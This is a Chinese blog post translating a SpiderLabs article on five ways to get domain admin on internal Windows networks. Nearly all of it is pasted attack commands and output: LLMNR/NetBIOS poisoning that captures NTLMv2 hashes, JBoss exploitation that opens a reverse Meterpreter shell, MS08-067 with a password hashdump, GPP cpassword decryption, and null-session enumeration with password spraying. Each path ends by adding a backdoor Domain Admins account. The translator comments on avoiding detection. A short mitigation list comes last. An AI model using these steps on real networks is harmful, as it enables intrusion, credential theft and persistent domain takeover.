得到内网域管理员的5种常见方法

from:http://blog.spiderlabs.com/2013/09/top-five-ways-spiderlabs-got-domain-admin-on-your-internal-network.html
spiderlabs总结的,我简单翻译下,偶尔加点我的牢骚。
1.Netbios and LLMNR Name Poisoning

这个方法在WIN工作组下渗透很有用,WIN的请求查询顺序是下面三个步骤:本地hosts文件(%windir%System32driversetchosts),DNS服务器,NetBIOS广播,如果前2个请求失败,则在本地发送NetBIOS广播请求,此时任何本地网络的系统都能回答这个请求,使用SpiderLabs出品的Responder工具,能够在不借助ARP欺骗的情况下,响应这个请求.其实metasploit也能利用(http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html),但实际测试还是Responder比较好,都是套用标准库写的,很方便在目标上使用:)
~/Responder# python Responder.py -i 192.168.8.25NBT Name Service/LLMNR Answerer 1.0.Please send bugs/comments to: [email protected]To kill this script hit CRTL-C[+]NBT-NS & LLMNR responder startedGlobal Parameters set:Challenge set is: 1122334455667788WPAD Proxy Server is:OFFHTTP Server is:ONHTTPS Server is:ONSMB Server is:ONSMB LM support is set to:0SQL Server is:ONFTP Server is:ONDNS Server is:ONLDAP Server is:ONFingerPrint Module is:OFFLLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad.LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad.LLMNR poisoned answer sent to this IP: 192.168.8.12. The requested name was : 110.…snip…NBT-NS Answer sent to: 192.168.8.6[+]SMB-NTLMv2 hash captured from : 192.168.8.6Domain is : BEACONHILLSHIGHUser is : smccall[+]SMB complete hash is : smccall::BEACONHILLSHIGH:1122334455667788:reallylonghashShare requested: ECONOMY309IPC$…snip...LLMNR poisoned answer sent to this IP: 192.168.8.11. The requested name was : wpad.[+]SMB-NTLMv2 hash captured from : 192.168.8.11Domain is : BEACONHILLSHIGHUser is : lmartin[+]SMB complete hash is : lmartin:: BEACONHILLSHIGH:1122334455667788:reallylonghashShare requested: ADVCHEM311IPC$…snip…这里的LM, NTLMv1, or NTLMv2哈希,能够用GPU或者彩虹表暴力破解.如果在responder会话过程中,抓到一个域管理员帐号,能够直接使用winexe运行cmd.exe命令
~/work/nmap# ~/SpiderLabs/winexe-PTH -U BEACONHILLSHIGHsmccall%allison --uninstall --system //192.168.8.6 cmd.exeMicrosoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:WINDOWSsystem32>net user twadmin $piD3rsRul3! /add /domainnet user twadmin $piD3rsRul3! /add /domainThe request will be processed at a domain controller for domain beaconhillshigh.edu.The command completed successfully.C:WINDOWSsystem32> net group "Domain Admins" twadmin /add /domainnet group "Domain Admins" twadmin /add /domainThe request will be processed at a domain controller for domain beaconhillshigh.edu.The command completed successfully.2.利用jboss漏洞

可以前期先用nmap扫描下端口,识别出常见的JAVA应用服务器,后期配合Metasploit的auxiliary模块来利用.比如jboss漏洞.最常见的就是弱口令了吧,同理的,也可以寻找webloigc,websphere,tomcat等这些基于JAVA的应用服务器,还有最近国内政府部门部署比较多的Apusic,不过需要注意war包格式,进后台,直接部署WAR就行了.jboss的除了弱口令,还有个后台绕过,和流传很久的1337那个.用例说下如何用metasploit暴力破解jboss后台,以及部署war包.
msfcli auxiliary/scanner/http/dir_scanner THREADS=25 RHOSTS=file:./8080 DICTIONARY=./http.scan.list RPORT=8080 E >> http.jboss.8080~/work/nmap# cat http.jboss.8080  25RHOSTS => file:./8080DICTIONARY => ./http.scan.listRPORT => 8080
[*] Detecting error code
[*] Detecting error code
[*] Detecting error code
[*] Detecting error code
[*] Using code '404' as not found for 192.168.5.18
[*] Using code '404' as not found for 192.168.5.21
[*] Using code '404' as not found for 192.168.5.20
[*] Found http://192.168.5.20:8080/web-console/ 401 (192.168.5.20)
[*] http://192.168.5.20:8080/web-console/ requires authentication: Basic realm="JBoss JMX Console"
[*] Found http://192.168.5.20:8080/web-console/ 404 (192.168.5.20)
[*] Found http://192.168.5.20:8080/jmx-console/ 401 (192.168.5.20)
[*] http://192.168.5.20:8080/jmx-console/ requires authentication: Basic realm="JBoss JMX Console"
[*] Found http://192.168.5.21:8080/jmx-console/ 404 (192.168.5.21)
[*] Scanned 4 of 4 hosts (100% complete)
[*] Auxiliary module execution completedOutput from use auxiliary/scanner/http/jboss_vulnscan:
[*] 192.168.5.20:8080 /jmx-console/HtmlAdaptor requires authentication (401): Basic realm="JBoss JMX Console"
[*] 192.168.5.20:8080 Check for verb tampering (HEAD)[+] 192.168.5.20:8080 Got authentication bypass via HTTP verb tampering[+] 192.168.5.20:8080 Authenticated using admin:admin[+] 192.168.5.20:8080 /status does not require authentication (200)[+] 192.168.5.20:8080 /web-console/ServerInfo.jsp does not require authentication (200)[+] 192.168.5.20:8080 /web-console/Invoker does not require authentication (200)[+] 192.168.5.20:8080 /invoker/JMXInvokerServlet does not require authentication (200)Output from use exploit/multi/http/jboss_maindeployer:  exploit
[*] Started reverse handler on 192.168.5.233:4444
[*] Sorry, automatic target detection doesn't work with HEAD requests
[*] Automatically selected target "Java Universal"
[*] Starting up our web service on http://192.168.5.233:1337/HlusdqEcokvXH.war ...
[*] Using URL: http:// 192.168.5.233:1337/HlveuqEzrovXH.war
[*] Asking the JBoss server to deploy (via MainDeployer) http://192.168.5.233:1337/HlusdqEcokvXH.war
[*] Sending the WAR archive to the server...
[*] Sending the WAR archive to the server...
[*] Waiting for the server to request the WAR archive....
[*] Shutting down the web service...
[*] Executing HlusdqEcokvXH...[+] Successfully triggered payload at '/HlusdqEcokvXH/ewNYTEdFnYdcaOl.jsp'
[*] Undeploying HlusdqEcokvXH...
[*] Sending stage (30355 bytes) to 192.168.5.159
[*] Meterpreter session 1 opened (192.168.5.233:4444 -> 192.168.5.20:4209) at 2013-09-15 19:00:06 -0600meterpreter > sysinfoComputer : BHHSMOFF011OS : Windows 2003 5.2 (x86)Meterpreter : java/javameterpreter > shellProcess 1 created.Channel 1 created.Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C:DELLBACEJBContainerbin>whoamiwhoamibeaconhillshighbackup_adminC:>net user twadmin $piD3rsRul3! /add /domainnet user twadmin $piD3rsRul3! /add /domainThe request will be processed at a domain controller for domain beaconhillshigh.edu.The command completed successfully.C:>net group "Domain Admins" twadmin /add /domainnet group "Domain Admins" twadmin /add /domainThe request will be processed at a domain controller for domain beaconhillshigh.edu.The command completed successfully.3.MS08-067

这个漏洞已经超过4年了,但是内网中还是有很多机器没有打补丁,影响的有(Windows Server 2000, Windows Server 2003, and Windows XP),不过说实话,我内网渗透的过程中很少用MS08-067,因为溢出不好,有可能造成DOS,被人发现了,就不好了,你懂得.
nmap --script=smb-check-vulns.nse -v -v -p 445,139 -iL smb -oA ms08 less ms08.nmap  set RHOST 192.168.1.103RHOST => 192.168.1.103msf exploit(ms08_067_netapi) > set TARGET 0TARGET => 0msf exploit(ms08_067_netapi) > set LHOST 192.168.1.215LHOST => 192.168.1.215msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcpPAYLOAD => windows/meterpreter/bind_tcpmsf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.1.103
[*] Meterpreter session 1 opened (192.168.1.215:33354 -> 192.168.1.103:4444) at 2013-09-16 21:54:15 -0500meterpreter > getsystem...got system (via technique 1).meterpreter > sysinfoComputer : SHELOB-SQUAREDOS : Windows XP (Build 2600, Service Pack 2).Architecture : x86System Language : en_USMeterpreter : x86/win32meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 48c76bfa334c4c21edd1154db541c2c2...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...Frodo:"what do i have"Samwise:"Frodo"Stryder:"love"Legolas:"favorite saying"Gimli:"what am i"Boromir:"what I am"Gandalf:"moria"
[*] Dumping password hashes...Administrator:500:f75d090d8564fd334a3b108f3fa6cb6d:3019d5d61cdf713c7b677efefc22f0e5:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::HelpAssistant:1000:7e8a50750d9a1a30d3d4a83f88ea86ab:6fba9c0f469be01bab209ee2785a818d:::SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:861165412001ece0a5e73ab8863129d8:::Frodo:1003:74052b0fb3d802a3be4db4ed34a95891:a7cee25799f518f9bd886683a13ed6d0:::Samwise:1004:aad3b435b51404eeaad3b435b51404ee:7dff81410af5e2d0c2b6e54a98a8f622:::Stryder:1005:825f8bc99c2a5013e72c57ef50f76a05:1047f0b952cfbffbdd6c34ef6bd610e5:::Legolas:1006:625d787db20f1dd8aad3b435b51404ee:cc5b9f225e569fa3a2534be394df531a:::Gimli:1007:aad3b435b51404eeaad3b435b51404ee:e4d2534368ff0f1cbe2a42c5d79b9818:::Boromir:1008:e3bee25ac9de68cec2cc282901fd62d9:4231db4c15025d1951f3c0d39d8656a2:::Gandalf:1009:20ef2c7725e35c1dbd7cfc62789a58c8:02d0a4d2b6c7d485a935778eb90e0446:::meterpreter > shellProcess 2708 created.Channel 1 created.Microsoft Windows XP [Version 5.1.2600](C) Copyright 1985-2001 Microsoft Corp.C: WINDOWSsystem32>whoamiwhoamiMIRKWOODGandalfC:WINDOWSsystem32>net user twadmin $piD3rsRul3! /add /domainThe request will be processed at a domain controller for domain MIRKWOOD.The command completed successfully.C:WINDOWSsystem32>net group "Domain Admins" twadmin /add /domainnet group "Domain Admins" twadmin /add /domainThe request will be processed at a domain controller for domain MIRKWOOD.The command completed successfully.4. GPO cpassword

这个原理完全可以看瞌睡龙牛翻译的http://drops.wooyun.org/papers/576,本文中亮点是他从LINUX连接到WIN的,有许多同学不会通过linux渗透WIN域,尤其是在得到一个WEBSHELL,还是ROOT权限,还是跟内网连着,还有个域用户的情况下(=.=现实中哪儿有这么多好的条件让你都碰到了)
smbclient -W MIRKWOOD -U ‘Legolas%orcs’ 192.168.1.105SYSVOL  dir. D 0 Wed Sep 15 15:08:37 2012.. D 0 Wed Sep 15 15:08:37 2012mirkwood.local D 0 Wed Sep 15 15:08:37 201248457 blocks of size 4194304. 44175 blocks availablesmb: > cd mirkwood.localsmb: smirkwood.local> dir. D 0 Wed Sep 15 15:13:05 2012.. D 0 Wed Sep 15 15:13:05 2012Policies D 0 Tue Oct 30 10:29:31 2012scripts D 0 Thu Nov 8 12:50:21 2012smb:> recursesmb:> prompt offsmb:> mget Policies…snip…getting file mirkwoodPoliciesPolicyDefinitionsaccess32.admx of size 98874 as access32.admx (3657.0 KiloBytes/sec) (average 3657.0 KiloBytes/sec)getting file mirkwood PoliciesPolicyDefinitionsaccess34.admx of size 131924 as access34.admx (27324.5 KiloBytes/sec) (average 7038.2 KiloBytes/sec)getting file mirkwood PoliciesPolicyDefinitionsActiveXInstallService.admx of size 7217 as ActiveXInstallService.admx (2303.1 KiloBytes/sec) (average 6722.5 KiloBytes/sec)getting file mirkwood PoliciesPolicyDefinitionsAddRmvPrograms.admx of size 7214 as AddRmvPrograms.admx (2301.6 KiloBytes/sec) (average 6446.2 KiloBytes/sec)getting file mirkwood PoliciesPolicyDefinitionsasdf.admx of size 4249 as asdf.admx (122.0 KiloBytes/sec) (average 4940.4 KiloBytes/sec)getting file mirkwood PoliciesPolicyDefinitionsAppCompat.admx of size 4893 as AppCompat.admx (2633.2 KiloBytes/sec) (average 4835.6 KiloBytes/sec)getting file mirkwood PoliciesPolicyDefinitionsAttachmtMgr.admx of size 3865 as AttachmtMgr.admx (2912.5 KiloBytes/sec) (average 4752.0 KiloBytes/sec)getting file mirkwood PoliciesPolicyDefinitionsAutoPlay.admx of size 5591 as AutoPlay.admx …snip…smb:> recursesmb:> prompt offsmb:> mget scripts…snip…smb: avi> mget scriptsGet directory scripts? yGet directory bin? yGet file #INCLUDE.BAT? ygetting file mirkwood scriptsbin#INCLUDE.BAT of size 2839 as #INCLUDE.BAT (409.6 KiloBytes/sec) (average 409.7 KiloBytes/sec)getting file mirkwood scriptsbinNETLOGON.BAT of size 1438 as NETLOGON.BAT (28.9 KiloBytes/sec) (average 137.7 KiloBytes/sec)getting file mirkwood scriptsbinNETLOGON2.BAT of size 16781 as NETLOGON2.BAT (691.0 KiloBytes/sec) (average 566.0 KiloBytes/sec)getting file mirkwood scriptsbinNETLOGON3.BAT of size 16486 as NETLOGON3.BAT (1268.5 KiloBytes/sec) (average 773.6 KiloBytes/sec)getting file mirkwood scriptsbinNETLOGON4.BAT of size 17429 as NETLOGON4.BAT (1108.7 KiloBytes/sec) (average 858.8 KiloBytes/sec)…snip…Once the files are downloaded, grep through both policies and scripts for Administrator or cpassword (either would work in this instance):
grep -ri administrator .grep -ri cpassword .~/work/nmap/192.168.1.0-24/downloads/Policies# grep -ri administrator ../{FC71D7SS-51E2-4B9D-B261-GB8C9733D433}/Machine/Preferences/Groups/Groups.xml: :The cpassword is taken and run through the decryption script from http://carnal0wnage.attackresearch.com/2012/10/group-policy-preferences-and-getting.html.
~/work# ruby decrypt.rb net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domainThe request will be processed at a domain controller for domain MIRKWOOD.The command completed successfully.5.NetBIOS Null Enumeration Allowed on Server

其实就是说,域服务器,允许你空会话连接,然后列举账户信息,然后在破解账户,LINUX下用enum4linux.pl遍历用户,用medusa破解帐号,用winexec连接执行命令.WIN下的话,查点那章看过木?
~/enum4linux.pl -u Legolas -p orcs -w MIRKWOOD -a 192.168.1.90 >> enum-192.168.1.90~/work/targets/192.168.1.0-24# cat enum-192.168.1.90Starting enum4linux v0.8.7 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Sep 10 10:15:14 2013==========================| Target Information |==========================Target ........... 192.168.1.90RID Range ........ 500-550,1000-1050Username ......... ''Password ......... ''Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none===================================================| Enumerating Workgroup/Domain on 192.168.1.90 |===================================================[+] Got domain/workgroup name: MIRKWOOD===========================================| Nbtstat Information for 192.168.1.90 |===========================================Looking up status of 192.168.1.90MODOR  - M Workstation ServiceMIRKWOOD  - M Domain/Workgroup NameMIRKWOOD  - M Domain ControllersMORDOR  - M File Server ServiceMAC Address = B5-AD-2F-37-2G-4F====================================| Session Check on 192.168.1.90 |====================================[+] Server 192.168.1.90 allows sessions using username '', password ''…snip…============================| Users on 192.168.1.90 |============================index: 0x2b76 RID: 0xd08 acb: ◆0000610 Account: Administrator Name: Administrator Desc: (null)index: 0x1822 RID: 0xb0a acb: ◆0000414 Account: Frodo Name: Frodo Baggins Desc: (null)index: 0x1bga RID: 0xc0a acb: ◆0080210 Account: Samwise Name: Samwise Gamgee User Desc: (null)index: 0x1dc4 RID: 0xc7a acb: ◆0050210 Account: Stryder Name: Aragorn User Desc: (null)index: 0x1823 RID: 0xb0b acb: ◆0007014 Account: Legolas Name: Legolas Greenleaf Desc: (null)index: 0x1824 RID: 0xb0c acb: ◆0010014 Account: Gimli Name: Gimli son of Glóin Desc: (null)index: 0x1825 RID: 0xb0d acb: ◆0300014 Account: Boromir Name: Boromir son of Denethor II Desc: (null)index: 0x126f RID: 0x9eb acb: ◆0004014 Account: Gandalf Name: Gandalf the Gray Desc: (null)index: 0x1826 RID: 0xb0e acb: ◆0020015 Account: gollum Name: gollum Desc: (null)…snip…~/work/targets/192.168.1.90# cat enum-192.168.1.90 .txt | grep "Domain Admins"Group 'Administrators' (RID: 544) has member: MIRKWOODDomain AdminsGroup:[Domain Admins] rid:[0x200]Group 'Domain Admins' (RID: 512) has member: MIRKWOOD GandalfGroup 'Domain Admins' (RID: 512) has member: MIRKWOOD StryderGroup 'Domain Admins' (RID: 512) has member: MIRKWOOD AdministratorGroup 'Domain Admins' (RID: 512) has member: MIRKWOOD gollumGroup 'Domain Admins' (RID: 512) has member: MIRKWOOD SarumanS-1-5-21-8675309254-522963170-1866889882-512 MIRKWOOD Domain Admins (Domain Group)S-1-5-21-1897573695-8675309227-1212564242-512 MORDORDomain Admins (Domain Group)~/work/nmap/# medusa -M smbnt -H smb -u gollum -p gollum -m GROUP:DOMAIN | tee smb-gollum.medusaACCOUNT CHECK: [smbnt] Host: 192.168.1.1 (1 of 62, 0 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)ACCOUNT FOUND: [smbnt] Host: 192.168.1.1 User: gollum Password: gollum [SUCCESS (◆00072:STATUS_ACCOUNT_DISABLED)]ACCOUNT CHECK: [smbnt] Host: 192.168.1.100 (2 of 62, 1 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)ACCOUNT FOUND: [smbnt] Host: 192.168.1.100 User: gollum Password: gollum [SUCCESS (◆00072:STATUS_ACCOUNT_DISABLED)]ACCOUNT CHECK: [smbnt] Host: 192.168.1.105 (3 of 62, 2 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)ACCOUNT FOUND: [smbnt] Host: 192.168.1.105 User: gollum Password: gollum [SUCCESS]ACCOUNT CHECK: [smbnt] Host: 192.168.1.106 (4 of 62, 3 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)ACCOUNT FOUND: [smbnt] Host: 192.168.1.106 User: gollum Password: gollum [SUCCESS (◆00072:STATUS_ACCOUNT_DISABLED)]ACCOUNT CHECK: [smbnt] Host: 192.168.1.107 (5 of 62, 4 complete) User: ssadmin (1 of 1, 0 complete) Password: gollum (1 of 1 complete)ACCOUNT FOUND: [smbnt] Host: 192.168.1.107 User: gollum Password: gollum [SUCCESS]ACCOUNT CHECK: [smbnt] Host: 192.168.1.11 (7 of 62, 6 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete)ACCOUNT FOUND: [smbnt] Host: 192.168.1.11 User: gollum Password: gollum [SUCCESS]…snip…~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOODgollum%gollum --uninstall --system //192.168.1.106 cmd.exeMicrosoft Windows [Version 5.2.3790](C) Copyright 1985-2003 Microsoft Corp.C: WINDOWSsystem32>whoamiwhoami MIRKWOODgollumC:WINDOWSsystem32>> net user twadmin $piD3rsRul3! /add /domainThe request will be processed at a domain controller for domain MIRKWOOD.The command completed successfully.C:WINDOWSsystem32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domainThe request will be processed at a domain controller for domain MIRKWOOD.The command completed successfully.修补方法:[真心不希望管理员看到]

1.少用XP/win2k吧,否则为了某些兼容性,很少能全面禁止Netbios and LLMNR Name Poisoning
2.从知名站点下载软件安装程序,更换软件自带的默认口令
3.勤劳打全系统补丁
4.做好账户审核
5.禁止空会话,关键服务器,做好VLAN划分